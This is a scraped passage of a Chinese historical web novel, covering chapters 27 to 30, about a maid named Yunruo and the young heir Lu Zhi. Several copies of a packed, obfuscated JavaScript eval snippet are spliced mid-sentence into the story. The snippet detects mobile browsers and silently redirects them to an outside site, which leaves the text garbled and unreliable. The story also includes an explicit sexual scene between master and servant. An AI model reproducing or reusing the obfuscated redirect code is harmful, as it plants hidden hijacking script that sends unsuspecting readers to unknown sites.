;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15199865|164828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 徐舒柏看向云若,恢复了往日的不正经,他笑道:“他要装乖,不得老老实实守规矩?这不天还没亮,就赶回去给伯母请安去了。要是让伯母知道他夜不归宿,今后要出来一趟不就得先请示?” 他这话语里全是幸灾乐祸。 云若点头,想着时候不早了,虽然世子应该不会计较,她总在府外游荡也不好。她左右看了看两边的人,思考现在提出要走合不合适。 徐舒柏像是看出了她的想法,主动说道:“既然收拾好了,那我这就送你回去,到时候你就说是你家世子让你来请我去府上一聚。” 若是回去遇到看门的盘问,徐舒柏这个借口倒是没什么毛病。 云若起身对着殷灵福了福身,同她告辞:“那多谢殷姐姐的衣服,时候不早了,我就先回府了。” 殷灵拉过她的手:“妹妹不必跟我这么客气,我这一见到你,就喜欢得紧,巴不得真能有你这么个妹妹。反正我一个人在这君子台也无趣得很,陆世子又不是个多事的,你若得空了不如多来陪陪我?” 云若一听,若是能多来找殷灵玩,她自然是乐意的,正要答应,徐舒柏泼来冷水。 “你当镇国公府是你的君子台呢?人家那高门大院的,规矩这么多,她一个丫鬟哪里是想出来就能出来的。” 经徐舒柏这么一说,云若这才反应过来事实如此,她刚刚是高兴过头了。 殷灵瞥他一眼:“那你多去找陆世子出来,让他带着妹妹不就行了?你俩关系不是很要好吗,不会连你的邀约陆世子都会拒绝吗?” 这会子倒想着他有用了。 云若听殷灵这么说,一脸期待地等着徐舒柏的回答。 徐舒柏被她看得有点不自然,嘀咕了一句:“再说吧,本公子心情好就给你们搭个桥。” 殷灵可不满意他这个回答:“你若是不搭这个桥,以后这君子台的门是别想进了。” 这话说得他平时想进这个门就容易似的。 “知道了,反正我也是个闲人,有的是闲情。” 殷灵挑眼,一副这还差不多的表情。马车早就备好了,她亲自送两人出门。 殷灵挥着手帕,对云若不舍:“云妹妹有空常来玩,我随时欢迎。” 徐舒柏抢过话头:“放心,一定常来。” 殷十三娘白他一眼:“滚,不欢迎你。” 云若应下:“好,谢谢殷姐姐,日后有机会一定再来找殷姐姐玩。” 真是乖巧,因为这声姐姐,殷十三娘的不舍都被开心取代了几分。 徐舒柏早就注意到了,云若一叫她姐姐,她就嘴角上扬,他幽怨道:“一声姐姐有什么好高兴的。” “你不懂!” “我是不懂,那怎么我叫你姐姐,你不高兴?” 这徐公子……一旁的云若摸摸鼻子掩饰不自在,不敢说话。 殷十三娘懒得搭理他,一个眼神都不再施舍给他。这人给点颜色他就要开染房,只有冷着他,他才老实。 看到了云若的不自在,殷灵催促徐舒柏:“你若是不着急,那就让云妹妹下来再跟我说会儿话。” 闻言,徐舒柏即刻把车门关上,沉声命令马夫出发。 云若和徐舒柏一路无言,她端正坐在马车里,连呼吸都不敢太大声。 明明这辆马车的速度比和世子一路的时候要快得多,但她觉得回府的时间比平时还久。 好不容易终于到了镇国公府,云若领着徐舒柏去了承熙院。 28. 小狗 云若带着徐舒柏进院子的时候,陆执正在给长廊里的盆栽浇水。 左行在一边看着,云若想着应该是世子闲来的雅兴,就没有去抢活干。 “陆世子今儿个怎么不待在书房看书了?” “日日窝在书房看书,不见天日的话,我岂不是要生霉了。” 一行人都掩嘴轻笑。 看到人回来了,陆执也没这闲情了,把人请进了屋。 云若去备茶的时候,陆执眼光在她身上多停留了几瞬。 换新衣裳了,这种明亮的红色衣裳她穿起来倒是不俗。 徐舒柏经过陆执的时候,用只有两人能听到的声音打趣他:“还看?人都回来了,至于这么挪不开眼吗?” 陆执睨他一眼,骂他:“多嘴。” 得,是他自讨没趣了。 两人坐下,摆开了棋盘,云若端着茶水进来的时候,黑白两棋已经走了好几步了。 边下徐舒柏边和陆执闲聊着同窗的趣事,陆执听得多,很少接话。 云若就在一旁候着,时不时给两人添茶。 他一个人快喝了两壶茶,云若觉得他还真是能说,世子给他的回应一直是淡淡的,他都能滔滔不绝,若是她,早就不敢也不愿再多说了。 然是云若不懂棋,单只看后面徐舒柏的话越来越少,总举棋不定,她也知道世子一直暗中发力,这下徐公子要被杀个片甲不留了。 又该徐舒柏落子,棋盘上还剩余的位置几近被他将落不落了个遍,最后还是往棋盘上扔了两颗子,“认输了认输了,你这人,好不容易陪你杀一盘,怎么一点也不手下留情?” 赢了棋陆执自然是高兴的,他指出自己制胜的关键一步,“难得杀一盘,自然要全力以赴。你当时这步若选择吃,那局势还不一定明朗。” 徐舒柏看着他指的那步,回味过来其中精妙。 “不过那么早就下错了,还能再撑那么多手,看来你的棋艺还是精进不少。” “那我多谢陆世子称赞了,只是我再怎么精进,都难敌世子,真是可悲可泣。” “人贵有自知之明,难为你有这个觉悟。” 陆执还真是一点也不客气,云若都有点替他羞。 下完一盘,也到了该用晚膳的时候,两人一起用了膳,看着天色不早了,徐舒柏才告辞。 临走时,徐舒柏才想起殷灵交代的事,同陆执商量:“没事的时候,多陪我去君子台坐坐,顺便带上你的丫鬟侍卫,殷灵她喜欢热闹,多带几个人,也能陪着她玩。” 云若在陆执身旁频频点头,陆执瞥了她一眼,她又不敢动作。 好端端的,约他去什么君子台,觉出其中猫腻,陆执没有直接应下:“再说,我又不敌你如此清闲。” 徐舒柏还要说与,陆执直接起身送客。 真把人送走,陆执翻着志怪集,身边的人一直玩着衣带,像是有话要说,等了许久也不见开口,他没了心思,放书准备就寝。 云若本来也想讨个恩赐,希望能不时出府一趟,去找殷姐姐也好,自个儿去府外逛逛也好,不过方才徐公子开口,世子都没答允,她纠结半天,还是作罢。 伺候世子睡下,她吹了灯,回了自己的屋子,打算把身上的衣裳换下来。 她回忆着殷灵给她穿上的顺序,一步步倒着做回去。 刚开始还顺利,只是在解结的时候,她仔细研究了许久,还是不得章法。 半晌解不开也就算了,这襟带还被她越扯越紧,等她停下来,都给她热出汗来了。 本想要不就这么将就着睡了,明日再想办法,当她和衣而卧的时候,衣裳勒得她有些喘不过气。 翻来覆去,就是找不到舒适的位置,犹豫了好一会儿,她才起身打开房门,探出半个脑袋,小声试探世子有没有睡着。 云若也不知道自己是希望世子醒着还是睡了,她才出声,就听到窸窣的声音,世子撩开床帘,坐在月色里,问她:“怎么了?” 今夜的世子与往常有些不同,他墨发如瀑披垂,里衣松松垮垮的,月色透过窗户洒到床前,把世子衬得多了几分魅惑。 被世子短暂惊艳了一下,不敢多打扰世子,她赶紧小跑过去,把腰侧的那个结亮给他看。 “今日是殷姐姐帮奴婢穿的衣裳,现下这结奴婢解不开了,衣裳脱不下来,世子能帮帮奴婢吗?” 殷姐姐?她倒是叫得甜,这才认识多久?难怪适才徐舒柏说带着她去君子台,她连连点头,原来是认识了新欢。 陆执借着月色远远打量了两眼,辨出这结是一种民间百姓常系的一种巧结,只要找到头,一扯就开。 结并不难解,只是殷灵还系了个别的结把线头藏起来了,这才把她难住了。 云若看世子盯着看了许久,还以为是光线太暗,世子不好看,想着去点个蜡烛,世子却突然开口:“走近些。” 云若一时也忘了要去点烛,她走上前。世子也不说要多近,直到与床沿只有一拳距离的时候,云若觉得再往前有点太近了,这才停下。 修长的手指挑起襟带,一只手抓住,另一只手来回绕了几下,云若还没看明白他的手法,就见结已经打开了。 她心中大喜,谢过世子,正要伸手去把襟带拿回来,不料世子却躲开她的手,稍稍往后一扯,交叠的衣襟就像纸张般散落,她来不及惊呼,衣衫就已经像从高处流下的水一样,全部滑落在她脚边。 她就这么毫无防备地只着一件肚兜和一条亵裤站在世子面前。 云若怔了半息,连忙伸手护在胸前,脸都顾不上红,只想赶紧捡着衣裳离开。 她还没来得及蹲下身,就被陆执揽着腰贴了上去。 怕撞着世子,她情急中伸手攀住世子的肩。 这下世子与她的柔软只隔了一层薄薄的布料,云若好像已经感受到了世子炙热的气息。 陆执倾身靠了上去,用脸轻柔地蹭着,迷恋般地呢喃着:“又软又香。” “世子……” 云若被他蹭得浑身轻颤,她手上使劲想要把他推开,陆执却抓住她的手,放在他的嘴边亲吻。 陆执吻过的地方一片湿意,而后是微微酥麻。云若此刻脑子糊涂,不知道该怎么办,任由他靠在她的胸前。 云若垂眸,看他毛茸茸的头顶,觉得他有点像嗷嗷待哺的孩子。 鬼使神差般,她伸出另一只手摸了摸陆执的头。 正在吻她的陆执一顿,品着她做这个动作的动机,心道胆子真是越来越大了。 他蓦地抬头,云若的手都来不及收回。 陆执眼里含着意味深长的笑,月光在他眸中闪烁,云若被他看得背后一凉。 “我……”她被吓得连奴婢都忘了说。 “还记得昨晚你自己做了什么吗?” 陆执这话把她说得莫名,她一整天都在回忆昨晚的事,只想起几个无关紧要的片段,现在世子突然这么问,她开始后怕自会己不会做了什么冒犯世子的事。 可她实在想不起什么,只能轻轻摇头。 陆执抓着她的手放在他的胸膛处,云若感受着他胸腔的振动,有些迷茫地看着她。 看来确实是忘了。 陆执带着她的手一路往下。 这熟悉又有点过于亲昵的动作,让云若隐约记起她好像被人抱在怀里,而她的手在那人身上不安分地乱摸。 云若抬眸看向世子,对上世子深邃的眸子。 世子好像要把人生吞活剥了。 到下腹时,她挣扎了一下,陆执停下来看她,“记起来了吗?” 云若垂下头,忙不迭点头。她不知道自己喝醉了怎么胆子就变大了,竟敢调戏世子。 陆执勾唇一笑。 云若想收回手,陆执却不让,她力气不小,还是挣不过他。 “躲什么?昨晚已经放过你了,你今晚却自己送上门来,我哪里还有做圣人君子的道理?” 热意通过手心传遍云若全身,她全身都有些僵硬,整只手都麻木了,思考也变缓了,只记得反驳他:“我没有……” 没有送上门来……她只是想请世子帮忙解个结。 陆执哪会管她这不痛不痒的反驳,这个视角,她垂着头,陆执看不清她的脸,他自顾自拿了手边的枕头丢在她身前,沉声命令道:“跪下。” 云若大致料到了接下来会发生什么事,尽管赧然,她还是乖乖跪下。 “抬起头来。” 云若一只手扶上陆执的大腿,仰头看向他。 春光一览无余,水眸氤氲,虔诚得让人忍不住心生怜爱。 陆执松开抓着她的手,大掌抚上她半张脸,指腹摩挲她的下唇,目光灼灼。 云若也不知道为什么,无需他命令,她自觉松开牙关,微微张嘴。 陆执轻笑,夸她:“真乖。” 说着,他的手指探了进去,挑弄她的唇舌。 他的动作很温柔,云若没有任何不适,只是喘息越来越重,伴随着时强时弱的水声。 他垂眸看她,浅笑低语:“今夜,看你表现。” 云若想点头回应他,但并不方便,她只能眨了眨眼。 陆执抹开她嘴角溢出的涎水,果真不再动作,全然交给了她。 月色映在他半张脸上,忽明忽暗。那双摄人心魄的眸子不知什么时候阖上了,他眉头微蹙,面容紧绷,喉结上下滚动,颈间青筋突起,喘息时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15203355|164828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻时重。 云若看得有些痴了。 “嘶。” 陆执倒吸一口凉气,掐住她的下颌。 “没想到你的小虎牙还挺锋利。”他语气宠溺,没有一丝责怪的意味,“不过这个时候用不上,四娘还是收起来,嗯?” 陆执的这声四娘,倒是又让她想起了昨晚一些更细微的事。 她应不了声,不过早就收起了自己的利齿。 方才,她只是觉得世子沉迷欲海的样子太过让人随之痴迷。 她忍不住想让他陷得更深,想要看他失控的模样。她舌根蛹动,喉头吮吸,感受到世子的身子一僵,他掐着她的脸颊退开了。 云若的嘴还张着,唇瓣嫣红,舌还来不及收回去,懵然看向他。 陆执一把抓住她的胳膊,把人拉起来坐到他腿上。 不待她反应,他咬住她的下唇,蛮横地侵占了她作乱的粉舌。他时而勾着她的舌缠弄,时而压着她的舌,去□□她的虎牙。 云若被他吻得连连后仰,陆执扣住她,不让她有后退的地步。 云若被他吻得发麻。 良久,陆执才松开了她。 他埋进她的脖颈,贪恋她的体香,低哑的声音却控诉着她:“怎么这么坏?” 云若懒懒抵在他的头顶,小声嘀咕:“到底谁更坏?” 两个人此刻互相依偎着,说不出的温情。 许是这氛围太好了,云若有些迷失其中。想着适才这个人解开那衣衫的熟练,她心里有股说不出的滋味,她难得随心了一回。 “世子果真博学,连如何解女子的衣衫都颇得其中门道。” 她本来只想在心里偷偷嘀咕,没想到她嘴不受控制说了出来,一字不落全被他听了去。 “呵。”不知道为什么,陆执听她这话,心里莫名愉悦。 “那是因为我聪明,一眼就发现了解法。有些人自个儿手笨,可不兴这么黑白不分、毁人清誉的。” 半晌没听到声响,抬眸看她,满眼幽怨与不服气。 小丫头还来劲了。 陆执轻咬她细腻的软肉,挑眉逗她。 云若咬牙和他暗暗较劲。 她身前的男人发出低低的笑声,传到她耳里,云若觉得他似乎在嘲笑自己不自量力。 她不服气,鼓足了劲要和他抗争。 结果,还是难敌在这个时候总是诡计多端的人。 云若败下阵来,一股莫名的羞意涌上心头。 “你!” 她又羞又恼,但话还来不及说出口,就全部被男人堵住了。 陆执如鱼得水般搅着她的唇舌,云若气急了,顾不上想后果,想着咬一口解气,却不想他早就预料般及时捏住了下颌。 他眉眼含笑,轻斥她:“你是小狗吗?不准咬!” 不给她呛嘴的机会,他又吻上了她,云若只剩下呜咽的反抗。 真正的狗抱着怀里的暖香,吃到餍足。 而云若只能被人弄得无力,一边思考为什么表面光风霁月的世子私下里会像只磨人的恶犬,一边在心里暗暗发誓,再也不要穿那件衣裳。 到最后,陆执抱着她,躺卧在床上,均匀的热气呼在云若发端。 云若的手搭在陆执腰间,这会儿肌肤相贴,她还有点羞赧,想要收回手,陆执却拉着她的手抱住他,脑袋往她颈间蹭。 “抱一会儿。” 语气里尽是满足后的慵懒,云若枕在他的手上,脸贴着他的胸膛,心砰砰直跳。 听说这个时候的男人最好说话,云若思索半晌,试探着唤他:“世子?” “嗯?” “您能不能允奴婢偶尔出门一趟?” 陆执没有说允还是不允,而是问她:“去找殷灵?” 云若点头,毛茸茸的发丝挠得陆执心痒。 “是也不全是。若总是去叨扰殷姐姐,她烦奴婢了怎么办?只是日日待在院子里,有时候会有点闷。” 陆执摩挲她的耳垂,贪婪地汲取她的体香。 “你想出去,那便允了。只一点,去哪儿前先知会一声,不能晚归,你若是在外受了伤,那便不会再放你一个人出去了。” “多谢世子!” 云若心喜,觉得单说句谢语不够,她抬头想去亲吻他,可她被他抱着,身子蹭不上去,只亲到他下颌浅浅的胡茬。 这亲浅的吻挠人心扉,陆执钳住她的脸颊,迫她仰头,自己找补了回来。 又是绵长到快要窒息的一个吻,良久,陆执松开她,深邃的眸里满是情.欲。 “以后要谢就这么谢。” 陆执复又把人搂进怀里,空余人急促的心许久才慢慢平静。 29. 对弈 一转眼,又到了和杜姨娘约好的日子,云若早就把要说的东西拿给世子过目了,到了时候,她找个没人注意她的时候去了凝香院,毕竟做戏还是要做全套,她总不能光明正大地告诉别人她要投诚杜姨娘。 到了凝香院后门,才把玉佩亮出来,就见赵嬷嬷从匆匆赶来。 看门的婆子放行了她,她带着假笑朝赵嬷嬷走去,结果到了跟前赵嬷嬷推着她往外走。 “嬷嬷?”云若不解。 离凝香院远一些后,赵嬷嬷才停下来,同她解释:“今日二公子来看姨娘了,不方便说事,你改日再来。” 赵嬷嬷轻飘飘一句改日,她倒是有点难办,她也不是很闲,总不能三天两头往别的院子跑,这不惹人生疑。 “不若嬷嬷说个日子,我这得老在世子跟前伺候,每次出来一趟也不容易,我要是频繁不在,害怕世子起疑。” 赵嬷嬷也觉得她说得有理,只是不知为何,最近二公子闲下来了,三天两头往姨娘这里跑,姨娘高兴都来不及,总没有赶人走的道理。 二公子来的时候也不固定,有早有晚,她也不知道什么时候合适,不过她这边的事也马虎不得,只能让她三日后再寻个由头过来。 云若应下,这就先离开了。 回去路上,想到前些日子送去针线房给世子做的衣裳应该差不多了,她又转了个道去了针线房。 衣裳果真已经做好了,针线房的绣娘手艺个个都好,针脚又密又紧,绣什么都栩栩如生。 见她们手上没什么活,云若和她们寒暄了一会儿,同她们探讨了一下绣花的技巧,她们也乐意传授她,嘴上教了还让她直接上手绣了几针。 云若学的这几针绣得有模有样,几个绣娘都夸她聪明,云若嘴甜,一口一个姐姐教得好,管着整个针线房的绣娘一高兴,把她绣得最满意的两个荷包和几张丝帕送给了她。 云若不敢收,怕收了被主子知道了罚她,绣娘告诉她,这些小东西都是用主子们用剩的边角料做的,一是主子们压根看不出这料子是哪块布上的,二来主子们也不会吝啬这么点小东西,云若听了这才谢着收下。 “云若姑娘不必客气,这每天来针线房的下人这么多,谁都仗着自己有主子撑腰,喜欢来我们这种地方作威作福。姑娘你虽是世子院子里的人,但你为人善良,从不因为我们身份低贱就轻慢我们,愿意和我们闲聊逗乐,还总称赞我们的手艺,我们都喜欢你来。” 其余的绣娘也应和点头。 云若摸着手里的荷包,上面的花样像是苏绣,这绣娘的手艺是她迄今见过的最好的,她心情有些复杂。 她本以为大家都是奴才,左右都是伺候人的,谁又比谁好得到哪里去,竟不料这下人之间还有拜高踩低的。 想来也是,连霓裳阁的丫鬟都有三六九等,在镇国公府这种大宅里,这种等级怕是更加分明。 人有贵贱之分,她想这可能就是书上说的尊卑有序。 云若笑道:“姐姐们哪里的话,你们一身本领,可比我这个连普通的花样都绣不好的厉害多了。日后就算不在府上当差,也能靠这门手艺养活自己,你们就这么把自己吃饭的本领教给我,还不收我拜师费,我高兴还来不及呢,应该是我巴巴地盼着你们多教我点东西才是。” 一段话把满屋子的人都哄开心了,大家都说她随时来随时教。 “这可是你们亲口说的,不准诓我。” 为首的绣娘拉着她的手:“保准不诓你,我们肯定把你当亲徒弟教。” 针线房难得有这么悠闲的时候,绣娘们又留了她一会儿,估摸着她出来的时间是有点久了才放她离开。 云若把丝帕揣好,荷包都挂在身上,端着世子的衣裳乐乐呵呵回了承熙院。 经过后花园的时候,她默默加快了脚步,生怕又遇上哪位祖宗。 不过有时候就是越怕什么越来什么。 眼瞅着马上就要走出后花园了,又有人突然叫住了她。 云若转过身,看着来人福身行礼。 “见过二公子。” 陆平让她免礼。 她还没问二公子叫住她是有什么事,就见二公子手上拿着一方丝帕,正是方才针线房的绣娘送她的。 “你的帕子掉了。” 二公子脸上是温和的笑意,尽管是相似的脸、相似的笑,但云若就是觉得二公子皮笑肉不笑,带着几分虚伪。 云若不想和这位二公子有太多交集,把托盘放在地上,赶紧接过帕子同他道谢,拿着衣裳就要走。 陆平并没有就这么放过她:“你这丫头怎么对我避如蛇蝎,我有那么可怕吗?” 云若脚步一顿,淡笑道:“二公子说笑了,奴婢这是出来太久了,忙着回去伺候世子。” “哦?大哥不是一向宽厚,对下人管束出了名的不严,怎么到你这儿,晚了一会儿都不行?” 云若心想自己那话的意思哪有说世子不好,二公子怎么平白给世子扣顶帽子。 “正是世子对我们这些下人那么好,我们才更应该好好伺候世子才是,可不能仗着世子的好就忘了自己的身份。” “好一个不能忘了自己的身份,你这丫鬟倒是懂事。” 说着陆平蓦地上前,不待云若反应过来,手已经撩开她垂在肩头的发带。 云若被他这个突然的动作吓得连连后退。 陆平见她这样,摊开手掌,上面趴着一只云若不认识的虫子。 “瞧你,还说不怕我?”他解释到,“你肩上趴了只虫,我帮你拿掉而已。你这样倒是让人伤心了。” 知觉自己有点反应过大,云若稳住心神,冷静应付他:“二公子您身份尊贵,怎可为一个奴婢做这种事,您下次好心说与奴婢,让奴婢自己拿掉就好。” 陆平心中嗤笑,尊贵?这小贱婢是在内涵他吗? 他面上不显,只是有些委屈地哦了一声:“原来是我多此一举了,我以为你们小姑娘家都害怕这些东西。” 这二公子也不是个吃素的,怪会曲解别人的意思。 云若做出无辜状:“奴婢并无此意,只是有些惶恐。虫子这些东西奴婢并不害怕,不过二公子好意,奴婢心领了。”抬眼瞥他没有继续搭话的意思,她接着道,“时候不早了,那奴婢先告退了。” 陆平挥了挥手,没再为难她。 看着云若匆匆走远的背影,陆平眼里全是玩味。 近日陆平经常打着陪他母亲的由头去凝香院,为的就是能再见她一面,当时匆匆一瞥,倒是给他留下了印象。 谁知道他一连去好几次都没人影。 他还以为这丫头说的表忠心只是做做样子,顿觉失了乐趣,不过是个模样不错的丫头,他若真的想要,十个八个那样的都给他玩也不是不可。 本不打算再为这个丫头费心思,谁料他今儿个刚从凝香院出来,要回自己的院子,就远远看到了这个丫头。 他把手中早就被他折去翅膀的飞虫扔到地上,从袖子里掏出一张和刚才还给云若的差不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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陆执问她:“想学吗?” 闻言,她整个人都激动起来:“可以吗?” 没有直接说不想,那就是想学。 陆执反问她:“有何不可?” 云若高兴地点头:“想学!” 陆执把左手边的棋笥放到她面前,“那先把棋收了,我教你。” 云若这下来了干劲,她麻溜地和陆执一起把棋盘上的棋子收了,然后乖乖听陆执讲下棋的基本规则和技巧。 光讲这些也太过无趣,陆执先教她如何执子,随后让她边下边说问题。 这些东西她听一遍大致没什么问题,陆执给她找了本棋谱,给她圈了几个比较简单的,就放手让她自己打谱去了。 每次教她新东西的时候,她都学得很认真,她自己坐在棋桌前一下就是一个下午,等天色暗了才后知后觉有些累。 陆执早就把思路换过来了,书都看了大半,云若才放下棋谱。 “如何?”陆执问她感受。 云若仔细回味着,认真回答:“有点累。” 陆执轻笑:“那改天再学吧,你的主子已经饿得前胸贴后背了,你这个丫鬟也太不称职了。” 云若这才惊觉时候不早了,连忙去叫厨房准备晚膳。 陆执笑着摇头,起身收拾棋盘。 看着她打到一半的谱,暗道:“小丫头还挺聪明,学得这么快。” 看来他这承熙院很快就有人可以闲时和他对弈一下,无事时在棋盘上厮杀一番。 30. 帖子 三天后,云若总算见到了杜姨娘。 听完她的话,杜姨娘只是淡淡地点了点头,随即问她:“你是不是每月都要去一趟荣安堂?” 杜姨娘在主母院里也安排了人,云若也不会太惊讶,她如实回。 “是,因为奴婢每月需得喝避子汤。” 果然不出杜氏所料,即便陆执身边有人承宠,陈氏也决计不会让侍妾通房先于正室怀上孩子,她最忌讳痛心的就是一个宠妾灭妻。 可她偏不让她安生。 杜氏看了眼赵嬷嬷,后者拿了一个小锦盒给她。 “我已问过你喝的方子,专门派人给你配了这盒药,每次喝完那避子汤,你再吃下这药,就可完全解了药性。配合着我之前给你的那药,你早日为府上添点喜气,不成问题。” “多谢姨娘。” 云若讪笑着收下盒子,心里发愁,若是真这么做了,怕不是给府上添喜,而是单给她凝香院添喜。 “云若,你是这几个丫头里最争气的,我最看好你。你不日若能诞下世子的长子,那你翻身做个主子,为自己博个侧室的位置也未尝不可。 世子专情,等世子当家了,把你扶正也指日可待,到那时你的地位岂不在我之上,此前吃的这些苦就算不得什么了。 所以你尽管放心地好好伺候世子,争取早日怀上身孕,此间如果遇上什么困难了,我必会助你一臂之力。” 倘若是刚被买到京城的云若,或许还会为杜姨娘的这番话动容几分,可如今她并非不懂这些世家贵族多么在意嫡庶尊卑,她如果真做了这样自不量力的傻事,岂非是案板上的鱼肉,只有任人宰割的分? 腹中的孩子夫人必然容不下,世子每日如此用心准备科举,哪里会有多余的心思管这些后宅争斗,就算世子能够看在这些日子的情分保她一时,她一个人在这府上的日子定然还是寸步难行。 况且这点情分能撑多久,她不知道,不过她知道日后世子功成名就后,有的是门当户对的小姐与之相配,到那时她的处境更是举步维艰。 这些事她一个小丫鬟都想得明白,杜姨娘自己也是过着这种日子过来的,怎会不知其中艰辛,现在这么哄骗她,无非是需要她这颗棋子发挥最大作用。 “奴婢明白,奴婢一定牢记姨娘教诲。” 看她如此懂事,杜姨娘还是比较满意,不由得开始想象不久的一天,这丫鬟真有了身孕,这个府上会有多么热闹。 话说得差不多了,杜氏也不再多留她,又叮嘱一番后,就遣她回去了。 回去的路上,云若想得更加明白,这药她不能吃,母凭子贵的想法更不能有。反正这事本来就强求不得,只要告诉杜姨娘她都按时吃药了,可能是她身体的原因,不易有孕即可。她如今怎么说都是承熙院的丫鬟,杜姨娘就算生疑也还不能把她如何。 枯叶飘飞,秋风萧瑟,吹得云若一个激灵。天气越来越凉了,一转眼就快入冬了,云若把盒子收好,搓了搓自己的手,觉得有些冷,赶紧跑回院子加衣服去了。 立冬这天,云若照常随着世子去了相府。 这次庄相倒是没留陆执太久,两人进去后,云若抱着还带着世子体温的狐皮披风和左行去前厅候着,没烤一会儿火,世子就已经寻两人来了。 云若赶紧把还热乎的披风给陆执披上。 给他系结的时候,顺口问:“怎么今日这么快就结束了?” 陆执用只有她听得到的声音回她:“因为我功课做得好,又聪明地预判了老师的问题,对答如流,老师对我赞不绝口,一高兴就没再多问了。” 云若抬眸看他,怎么觉得世子这沾沾自喜的样子像她家以前养的一只看门狗。它得了夸奖也是这个样子。 当然云若只敢在心里偷偷造次,虽然世子现在在她心里早就不是当初那个不染纤尘的完美世子了,她有时也敢在世子面前大胆表露一点自己的真性情,不过他始终是她的主子,她还是习惯性奉承:“世子好厉害!” 陆执眯眸看她,云若有点心虚地低下了头。 他怎么听都觉得她说的这句话不对味,但这是在外面,他不便收拾她,只好在心里偷偷记她一笔。 待云若系好结,示意陆执可以了,陆执说了句走吧。 外面下着淅淅沥沥的小雨,三人走到檐下,云若撑开伞,才迈开步,陆执就被人叫住。 “鹤回哥哥。” 庄月淮拎着裙摆从廊下小跑而来,丫鬟伞都来不及收追在后面。 看陆执停下了脚步,她这才稍微慢了下来,尽量平复着气息走到他面前。 庄月淮从袖中拿出一张帖子递给他。 “过几日是我十六岁的生辰,到时会在府中设宴,不知鹤回哥哥能否赏脸前来。” 上次赏月宴,陆执说不去,她还挺遗憾的,后来昭平妹妹告诉她陆执竟然来了,等她按照昭平的指示去找他的时候,早已不见身影。 自打她及笄以来,也有不少郎君有提亲意愿,不过她心中一直有他,所以一直婉拒别人,想着有朝一日能向陆执表明自己心意。 在庄月淮心里,两人是整个京城最相配的一对,她也期盼着能和他修成正果。 若这次陆执真的能来她的生辰宴,她想告诉他,她心仪他已久,若陆执不嫌,她愿等陆执高中之后,与他喜结连理。 念及此,她拿帖子的手都有些抖,所幸天气寒凉,看不出来。 陆执接过帖子,作揖行礼:“庄小姐相邀,岂有不来之理。到时陆某一定会携带贺礼前来为庄小姐贺寿。” 没想到陆执真的答应了,庄月淮心中欢喜,她微微福身:“那月淮等着鹤回哥哥。” 陆执颔首:“外头凉,庄小姐身上淋了雨,还是快些回去换身衣裳,莫要着凉了才是。” 听他关心自己,庄月淮心中生出一丝甜蜜,她羞怯地点了点头。 “那鹤回哥哥慢走。” 云若撑了半天伞,手都有些酸了,这下终于可以走了。 坐在马车上的时候,云若看到世子身旁红底金字的帖子,有点好奇相府千金的生辰宴会是什么样的。想来就算不及赏月宴盛大,依着庄相对庄小姐的宠爱,也定是不小的。 陆执扯过披风,把帖子盖住了。 “别看了,到时候我不会去的,你也不许去。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15231407|164828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “嗯?”她什么也没问,而且明明答应好了,他怎么食言,“为什么?” 陆执觑她,像是要在她脸上看出除了好奇疑问以外的情愫,可惜他看不出来。 这丫头怎么这个时候没有眼力见了,她难道看不出来庄月淮对他有别样的期待吗?陆执瞬间觉得她这样让他有点不快,他也说不上为什么。 “多一事不如少一事。” 眼不见为净,他假装闭目养神,丢下一句让云若摸不着头脑的话。 回了府,陆执径直进了书房,连左行这个没什么眼力见的都感觉到世子有点异样。 “怎么感觉世子有点怪怪的?是我的错觉吗?” 云若摇头,肯定他的直觉:“不是错觉,他出了相府就这样了。” “为什么?因为庄小姐过生辰能设宴,他不能?” “啊?”云若有时都跟不上左行的思考方式,世子这么大的人了,又不是小孩子,怎么会因为这种事生出波动。 “虽然我也不知道,但我觉得应该不是因为这个。” 左行架手抵在下颌,有模有样猜着原因。 “云若!” 陆执突然唤她,她顾不上和左行说话,连忙进了书房。 云若瞧着世子现在与往常一样,心下松了口气,猜测世子可能是因为这阴绵的雨天心烦,如果不是庄稼需要雨水灌溉的话,平日里她最不喜的就是下雨了。 见她进来,陆执指了指他身后书架上一长排的书,对她说:“之前给你的启蒙书,以及我初入学的书,你都看得差不多了,今后这段时间,你就看这些经义史书,你也知道庄相怎么考察我的,到时候我也这么考察你,如何?” 云若上一阶段的学习完成后,休息了几天,她早就有些闲不住了,现在世子给她安排了任务,她自然乐得。 “没问题。” 